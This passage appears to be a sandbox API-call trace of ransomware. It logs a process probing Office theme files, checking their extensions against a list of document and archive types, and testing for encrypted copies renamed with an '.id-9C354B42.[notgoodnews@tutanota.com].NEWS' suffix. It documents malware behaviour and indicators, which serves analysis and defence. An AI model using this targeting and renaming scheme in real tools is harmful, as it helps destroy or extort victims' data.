lpString2=".ELM") returned 1 [0220.986] lstrcmpiW (lpString1=".INF", lpString2=".NEWS") returned -1 [0220.986] lstrlenW (lpString="BOLDSTRI.INF") returned 12 [0220.986] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\boldstri.inf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0220.987] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x306ff1c | out: lpFileSize=0x306ff1c*=596) returned 1 [0220.987] CloseHandle (hObject=0x30c) returned 1 [0220.987] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\boldstri.inf")) returned 0x20 [0220.988] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.INF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\boldstri.inf.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0220.988] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\boldstri.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0220.988] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.INF") returned 77 [0220.988] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.INF") returned 77 [0220.988] lstrlenW (lpString=".doc") returned 4 [0220.988] lstrcmpiW (lpString1=".doc", lpString2=".INF") returned -1 [0220.988] lstrlenW (lpString=".docx") returned 5 [0220.988] lstrcmpiW (lpString1=".docx", lpString2="I.INF") returned -1 [0220.989] lstrlenW (lpString=".pdf") returned 4 [0220.989] lstrcmpiW (lpString1=".pdf", lpString2=".INF") returned 1 [0220.989] lstrlenW (lpString=".xls") returned 4 [0220.989] lstrcmpiW (lpString1=".xls", lpString2=".INF") returned 1 [0220.989] lstrlenW (lpString=".xlsx") returned 5 [0220.989] lstrcmpiW (lpString1=".xlsx", lpString2="I.INF") returned -1 [0220.989] lstrlenW (lpString=".ppt") returned 4 [0220.989] lstrcmpiW (lpString1=".ppt", lpString2=".INF") returned 1 [0220.989] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.INF") returned 77 [0220.989] lstrlenW (lpString=".zip") returned 4 [0220.989] lstrcmpiW (lpString1=".zip", lpString2=".INF") returned 1 [0220.989] lstrlenW (lpString=".rar") returned 4 [0220.990] lstrcmpiW (lpString1=".rar", lpString2=".INF") returned 1 [0220.990] lstrlenW (lpString=".bz2") returned 4 [0220.990] lstrcmpiW (lpString1=".bz2", lpString2=".INF") returned -1 [0220.990] lstrlenW (lpString=".7z") returned 3 [0220.990] lstrcmpiW (lpString1=".7z", lpString2="INF") returned -1 [0220.990] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.INF") returned 77 [0220.990] lstrlenW (lpString=".dbf") returned 4 [0220.990] lstrcmpiW (lpString1=".dbf", lpString2=".INF") returned -1 [0220.990] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.INF") returned 77 [0220.990] lstrlenW (lpString=".1cd") returned 4 [0220.990] lstrcmpiW (lpString1=".1cd", lpString2=".INF") returned -1 [0220.990] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.INF") returned 77 [0220.990] lstrlenW (lpString=".jpg") returned 4 [0220.991] lstrcmpiW (lpString1=".jpg", lpString2=".INF") returned 1 [0220.991] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.INF") returned 77 [0220.991] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.INF") returned 77 [0220.991] lstrlenW (lpString=".doc") returned 4 [0220.991] lstrcmpiW (lpString1=".doc", lpString2=".INF") returned -1 [0220.991] lstrlenW (lpString=".docx") returned 5 [0220.991] lstrcmpiW (lpString1=".docx", lpString2="I.INF") returned -1 [0220.991] lstrlenW (lpString=".pdf") returned 4 [0220.991] lstrcmpiW (lpString1=".pdf", lpString2=".INF") returned 1 [0220.991] lstrlenW (lpString=".xls") returned 4 [0220.991] lstrcmpiW (lpString1=".xls", lpString2=".INF") returned 1 [0220.992] lstrlenW (lpString=".xlsx") returned 5 [0220.992] lstrcmpiW (lpString1=".xlsx", lpString2="I.INF") returned -1 [0220.992] lstrlenW (lpString=".ppt") returned 4 [0220.992] lstrcmpiW (lpString1=".ppt", lpString2=".INF") returned 1 [0220.992] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.INF") returned 77 [0220.992] lstrlenW (lpString=".zip") returned 4 [0220.992] lstrcmpiW (lpString1=".zip", lpString2=".INF") returned 1 [0220.992] lstrlenW (lpString=".rar") returned 4 [0220.992] lstrcmpiW (lpString1=".rar", lpString2=".INF") returned 1 [0220.992] lstrlenW (lpString=".bz2") returned 4 [0220.992] lstrcmpiW (lpString1=".bz2", lpString2=".INF") returned -1 [0220.992] lstrlenW (lpString=".7z") returned 3 [0220.993] lstrcmpiW (lpString1=".7z", lpString2="INF") returned -1 [0220.993] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.INF") returned 77 [0220.993] lstrlenW (lpString=".dbf") returned 4 [0220.993] lstrcmpiW (lpString1=".dbf", lpString2=".INF") returned -1 [0220.993] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.INF") returned 77 [0220.993] lstrlenW (lpString=".1cd") returned 4 [0220.993] lstrcmpiW (lpString1=".1cd", lpString2=".INF") returned -1 [0220.993] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.INF") returned 77 [0220.993] lstrlenW (lpString=".jpg") returned 4 [0220.993] lstrcmpiW (lpString1=".jpg", lpString2=".INF") returned 1 [0220.994] lstrcmpiW (lpString1=".ELM", lpString2=".NEWS") returned -1 [0220.994] lstrlenW (lpString="BREEZE.ELM") returned 10 [0220.994] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\breeze.elm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0220.997] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x306ff1c | out: lpFileSize=0x306ff1c*=107831) returned 1 [0220.997] CloseHandle (hObject=0x30c) returned 1 [0220.997] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\breeze.elm")) returned 0x20 [0221.404] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.ELM.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\breeze.elm.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0221.404] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\breeze.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0221.405] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.ELM") returned 73 [0221.405] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.ELM") returned 73 [0221.405] lstrlenW (lpString=".doc") returned 4 [0221.405] lstrcmpiW (lpString1=".doc", lpString2=".ELM") returned -1 [0221.405] lstrlenW (lpString=".docx") returned 5 [0221.405] lstrcmpiW (lpString1=".docx", lpString2="E.ELM") returned -1 [0221.405] lstrlenW (lpString=".pdf") returned 4 [0221.405] lstrcmpiW (lpString1=".pdf", lpString2=".ELM") returned 1 [0221.405] lstrlenW (lpString=".xls") returned 4 [0221.405] lstrcmpiW (lpString1=".xls", lpString2=".ELM") returned 1 [0221.405] lstrlenW (lpString=".xlsx") returned 5 [0221.405] lstrcmpiW (lpString1=".xlsx", lpString2="E.ELM") returned -1 [0221.405] lstrlenW (lpString=".ppt") returned 4 [0221.406] lstrcmpiW (lpString1=".ppt", lpString2=".ELM") returned 1 [0221.406] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.ELM") returned 73 [0221.406] lstrlenW (lpString=".zip") returned 4 [0221.406] lstrcmpiW (lpString1=".zip", lpString2=".ELM") returned 1 [0221.406] lstrlenW (lpString=".rar") returned 4 [0221.406] lstrcmpiW (lpString1=".rar", lpString2=".ELM") returned 1 [0221.406] lstrlenW (lpString=".bz2") returned 4 [0221.406] lstrcmpiW (lpString1=".bz2", lpString2=".ELM") returned -1 [0221.406] lstrlenW (lpString=".7z") returned 3 [0221.406] lstrcmpiW (lpString1=".7z", lpString2="ELM") returned -1 [0221.406] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.ELM") returned 73 [0221.406] lstrlenW (lpString=".dbf") returned 4 [0221.406] lstrcmpiW (lpString1=".dbf", lpString2=".ELM") returned -1 [0221.406] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.ELM") returned 73 [0221.406] lstrlenW (lpString=".1cd") returned 4 [0221.407] lstrcmpiW (lpString1=".1cd", lpString2=".ELM") returned -1 [0221.407] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.ELM") returned 73 [0221.407] lstrlenW (lpString=".jpg") returned 4 [0221.407] lstrcmpiW (lpString1=".jpg", lpString2=".ELM") returned 1 [0221.407] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.ELM") returned 73 [0221.407] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.ELM") returned 73 [0221.407] lstrlenW (lpString=".doc") returned 4 [0221.407] lstrcmpiW (lpString1=".doc", lpString2=".ELM") returned -1 [0221.407] lstrlenW (lpString=".docx") returned 5 [0221.407] lstrcmpiW (lpString1=".docx", lpString2="E.ELM") returned -1 [0221.408] lstrlenW (lpString=".pdf") returned 4 [0221.408] lstrcmpiW (lpString1=".pdf", lpString2=".ELM") returned 1 [0221.408] lstrlenW (lpString=".xls") returned 4 [0221.408] lstrcmpiW (lpString1=".xls", lpString2=".ELM") returned 1 [0221.408] lstrlenW (lpString=".xlsx") returned 5 [0221.408] lstrcmpiW (lpString1=".xlsx", lpString2="E.ELM") returned -1 [0221.408] lstrlenW (lpString=".ppt") returned 4 [0221.408] lstrcmpiW (lpString1=".ppt", lpString2=".ELM") returned 1 [0221.408] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.ELM") returned 73 [0221.408] lstrlenW (lpString=".zip") returned 4 [0221.408] lstrcmpiW (lpString1=".zip", lpString2=".ELM") returned 1 [0221.408] lstrlenW (lpString=".rar") returned 4 [0221.408] lstrcmpiW (lpString1=".rar", lpString2=".ELM") returned 1 [0221.408] lstrlenW (lpString=".bz2") returned 4 [0221.408] lstrcmpiW (lpString1=".bz2", lpString2=".ELM") returned -1 [0221.409] lstrlenW (lpString=".7z") returned 3 [0221.409] lstrcmpiW (lpString1=".7z", lpString2="ELM") returned -1 [0221.409] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.ELM") returned 73 [0221.409] lstrlenW (lpString=".dbf") returned 4 [0221.409] lstrcmpiW (lpString1=".dbf", lpString2=".ELM") returned -1 [0221.409] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.ELM") returned 73 [0221.409] lstrlenW (lpString=".1cd") returned 4 [0221.409] lstrcmpiW (lpString1=".1cd", lpString2=".ELM") returned -1 [0221.409] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.ELM") returned 73 [0221.409] lstrlenW (lpString=".jpg") returned 4 [0221.409] lstrcmpiW (lpString1=".jpg", lpString2=".ELM") returned 1 [0221.410] lstrcmpiW (lpString1=".INF", lpString2=".NEWS") returned -1 [0221.410] lstrlenW (lpString="CAPSULES.INF") returned 12 [0221.410] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\CAPSULES.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\capsules.inf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0221.540] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x306ff1c | out: lpFileSize=0x306ff1c*=501) returned 1 [0221.540] CloseHandle (hObject=0x390) returned 1 [0221.540] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\CAPSULES.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\capsules.inf")) returned 0x20 [0221.540] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\CAPSULES.INF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\capsules.inf.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0221.540] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\CAPSULES.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\capsules.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0221.541] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\CAPSULES.INF") returned 77 [0221.541] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\CAPSULES.INF") returned 77 [0221.541] lstrlenW (lpString=".doc") returned 4 [0221.541] lstrcmpiW (lpString1=".doc", lpString2=".INF") returned -1 [0221.541] lstrlenW (lpString=".docx") returned 5 [0221.541] lstrcmpiW (lpString1=".docx", lpString2="S.INF") returned -1 [0221.541] lstrlenW (lpString=".pdf") returned 4 [0221.541] lstrcmpiW (lpString1=".pdf", lpString2=".INF") returned 1 [0221.541] lstrlenW (lpString=".xls") returned 4 [0221.541] lstrcmpiW (lpString1=".xls", lpString2=".INF") returned 1 [0221.541] lstrlenW (lpString=".xlsx") returned 5 [0221.541] lstrcmpiW (lpString1=".xlsx", lpString2="S.INF") returned -1 [0221.542] lstrlenW (lpString=".ppt") returned 4 [0221.542] lstrcmpiW (lpString1=".ppt", lpString2=".INF") returned 1 [0221.542] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\CAPSULES.INF") returned 77 [0221.542] lstrlenW (lpString=".zip") returned 4 [0221.542] lstrcmpiW (lpString1=".zip", lpString2=".INF") returned 1 [0221.542] lstrlenW (lpString=".rar") returned 4 [0221.542] lstrcmpiW (lpString1=".rar", lpString2=".INF") returned 1 [0221.542] lstrlenW (lpString=".bz2") returned 4 [0221.542] lstrcmpiW (lpString1=".bz2", lpString2=".INF") returned -1 [0221.542] lstrlenW (lpString=".7z") returned 3 [0221.542] lstrcmpiW (lpString1=".7z", lpString2="INF") returned -1 [0221.543] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\CAPSULES.INF") returned 77 [0221.543] lstrlenW (lpString=".dbf") returned 4 [0221.543] lstrcmpiW (lpString1=".dbf", lpString2=".INF") returned -1 [0221.543] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\CAPSULES.INF") returned 77 [0221.543] lstrlenW (lpString=".1cd") returned 4 [0221.543] lstrcmpiW (lpString1=".1cd", lpString2=".INF") returned -1 [0221.543] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\CAPSULES.INF") returned 77 [0221.543] lstrlenW (lpString=".jpg") returned 4 [0221.543] lstrcmpiW (lpString1=".jpg", lpString2=".INF") returned 1 [0221.543] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\CAPSULES.INF") returned 77 [0221.544] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\CAPSULES.INF") returned 77 [0221.544] lstrlenW (lpString=".doc") returned 4 [0221.544] lstrcmpiW (lpString1=".doc", lpString2=".INF") returned -1 [0221.544] lstrlenW (lpString=".docx") returned 5 [0221.545] lstrcmpiW (lpString1=".docx", lpString2="S.INF") returned -1 [0221.545] lstrlenW (lpString=".pdf") returned 4 [0221.545] lstrcmpiW (lpString1=".pdf", lpString2=".INF") returned 1 [0221.545] lstrlenW (lpString=".xls") returned 4 [0221.545] lstrcmpiW (lpString1=".xls", lpString2=".INF") returned 1 [0221.545] lstrlenW (lpString=".xlsx") returned 5 [0221.545] lstrcmpiW (lpString1=".xlsx", lpString2="S.INF") returned -1 [0221.545] lstrlenW (lpString=".ppt") returned 4 [0221.545] lstrcmpiW (lpString1=".ppt", lpString2=".INF") returned 1 [0221.545] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\CAPSULES.INF") returned 77 [0221.545] lstrlenW (lpString=".zip") returned 4 [0221.545] lstrcmpiW (lpString1=".zip", lpString2=".INF") returned 1 [0221.546] lstrlenW (lpString=".rar") returned 4 [0221.546] lstrcmpiW (lpString1=".rar", lpString2=".INF") returned 1 [0221.546] lstrlenW (lpString=".bz2") returned 4 [0221.546] lstrcmpiW (lpString1=".bz2", lpString2=".INF") returned -1 [0221.546] lstrlenW (lpString=".7z") returned 3 [0221.546] lstrcmpiW (lpString1=".7z", lpString2="INF") returned -1 [0221.546] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\CAPSULES.INF") returned 77 [0221.546] lstrlenW (lpString=".dbf") returned 4 [0221.546] lstrcmpiW (lpString1=".dbf", lpString2=".INF") returned -1 [0221.546] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\CAPSULES.INF") returned 77 [0221.546] lstrlenW (lpString=".1cd") returned 4 [0221.546] lstrcmpiW (lpString1=".1cd", lpString2=".INF") returned -1 [0221.547] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\CAPSULES.INF") returned 77 [0221.547] lstrlenW (lpString=".jpg") returned 4 [0221.547] lstrcmpiW (lpString1=".jpg", lpString2=".INF") returned 1 [0221.842] lstrcmpiW (lpString1=".ELM", lpString2=".NEWS") returned -1 [0221.842] lstrlenW (lpString="CONCRETE.ELM") returned 12 [0221.842] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\CONCRETE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\concrete.elm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0222.945] GetFileSizeEx (in: hFile=0x1c0, lpFileSize=0x306ff1c | out: lpFileSize=0x306ff1c*=45528) returned 1 [0222.945] CloseHandle (hObject=0x1c0) returned 1 [0222.945] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\CONCRETE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\concrete.elm")) returned 0x20 [0222.945] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\CONCRETE.ELM.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\concrete.elm.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0222.946] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\CONCRETE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\concrete.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0222.946] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\CONCRETE.ELM") returned 77 [0222.946] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\CONCRETE.ELM") returned 77 [0222.946] lstrlenW (lpString=".doc") returned 4 [0222.946] lstrcmpiW (lpString1=".doc", lpString2=".ELM") returned -1 [0222.946] lstrlenW (lpString=".docx") returned 5 [0222.946] lstrcmpiW (lpString1=".docx", lpString2="E.ELM") returned -1 [0222.946] lstrlenW (lpString=".pdf") returned 4 [0222.946] lstrcmpiW (lpString1=".pdf", lpString2=".ELM") returned 1 [0222.946] lstrlenW (lpString=".xls") returned 4 [0222.947] lstrcmpiW (lpString1=".xls", lpString2=".ELM") returned 1 [0222.947] lstrlenW (lpString=".xlsx") returned 5 [0222.947] lstrcmpiW (lpString1=".xlsx", lpString2="E.ELM") returned -1 [0222.947] lstrlenW (lpString=".ppt") returned 4 [0222.947] lstrcmpiW (lpString1=".ppt", lpString2=".ELM") returned 1 [0222.947] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\CONCRETE.ELM") returned 77 [0222.947] lstrlenW (lpString=".zip") returned 4 [0222.947] lstrcmpiW (lpString1=".zip", lpString2=".ELM") returned 1 [0222.947] lstrlenW (lpString=".rar") returned 4 [0222.947] lstrcmpiW (lpString1=".rar", lpString2=".ELM") returned 1 [0222.947] lstrlenW (lpString=".bz2") returned 4 [0222.947] lstrcmpiW (lpString1=".bz2", lpString2=".ELM") returned -1 [0222.947] lstrlenW (lpString=".7z") returned 3 [0222.948] lstrcmpiW (lpString1=".7z", lpString2="ELM") returned -1 [0222.948] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\CONCRETE.ELM") returned 77 [0222.948] lstrlenW (lpString=".dbf") returned 4 [0222.948] lstrcmpiW (lpString1=".dbf", lpString2=".ELM") returned -1 [0222.949] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\CONCRETE.ELM") returned 77 [0222.949] lstrlenW (lpString=".1cd") returned 4 [0222.949] lstrcmpiW (lpString1=".1cd", lpString2=".ELM") returned -1 [0222.949] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\CONCRETE.ELM") returned 77 [0222.949] lstrlenW (lpString=".jpg") returned 4 [0222.949] lstrcmpiW (lpString1=".jpg", lpString2=".ELM") returned 1 [0222.949] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\CONCRETE.ELM") returned 77 [0222.949] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\CONCRETE.ELM") returned 77 [0222.949] lstrlenW (lpString=".doc") returned 4 [0222.949] lstrcmpiW (lpString1=".doc", lpString2=".ELM") returned -1 [0222.949] lstrlenW (lpString=".docx") returned 5 [0222.950] lstrcmpiW (lpString1=".docx", lpString2="E.ELM") returned -1 [0222.950] lstrlenW (lpString=".pdf") returned 4 [0222.950] lstrcmpiW (lpString1=".pdf", lpString2=".ELM") returned 1 [0222.950] lstrlenW (lpString=".xls") returned 4 [0222.950] lstrcmpiW (lpString1=".xls", lpString2=".ELM") returned 1 [0222.950] lstrlenW (lpString=".xlsx") returned 5 [0222.950] lstrcmpiW (lpString1=".xlsx", lpString2="E.ELM") returned -1 [0222.950] lstrlenW (lpString=".ppt") returned 4 [0222.950] lstrcmpiW (lpString1=".ppt", lpString2=".ELM") returned 1 [0222.950] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\CONCRETE.ELM") returned 77 [0222.950] lstrlenW (lpString=".zip") returned 4 [0222.950] lstrcmpiW (lpString1=".zip", lpString2=".ELM") returned 1 [0222.951] lstrlenW (lpString=".rar") returned 4 [0222.951] lstrcmpiW (lpString1=".rar", lpString2=".ELM") returned 1 [0222.951] lstrlenW (lpString=".bz2") returned 4 [0222.951] lstrcmpiW (lpString1=".bz2", lpString2=".ELM") returned -1 [0222.951] lstrlenW (lpString=".7z") returned 3 [0222.951] lstrcmpiW (lpString1=".7z", lpString2="ELM") returned -1 [0222.951] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\CONCRETE.ELM") returned 77 [0222.951] lstrlenW (lpString=".dbf") returned 4 [0222.951] lstrcmpiW (lpString1=".dbf", lpString2=".ELM") returned -1 [0222.951] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\CONCRETE.ELM") returned 77 [0222.951] lstrlenW (lpString=".1cd") returned 4 [0222.952] lstrcmpiW (lpString1=".1cd", lpString2=".ELM") returned -1 [0222.952] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\CONCRETE.ELM") returned 77 [0222.952] lstrlenW (lpString=".jpg") returned 4 [0222.952] lstrcmpiW (lpString1=".jpg", lpString2=".ELM") returned 1 [0223.344] lstrcmpiW (lpString1=".ELM", lpString2=".NEWS") returned -1 [0223.345] lstrlenW (lpString="EXPEDITN.ELM") returned 12 [0223.345] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\EXPEDITN.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\expeditn.elm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0223.350] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x306ff1c | out: lpFileSize=0x306ff1c*=103737) returned 1 [0223.350] CloseHandle (hObject=0x35c) returned 1 [0223.351] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\EXPEDITN.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\expeditn.elm")) returned 0x20 [0223.351] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\EXPEDITN.ELM.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\expeditn.elm.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0223.351] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\EXPEDITN.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\expeditn.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0223.351] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\EXPEDITN.ELM") returned 77 [0223.352] lstrlenW (lpString="C:\\Program Files\\Common 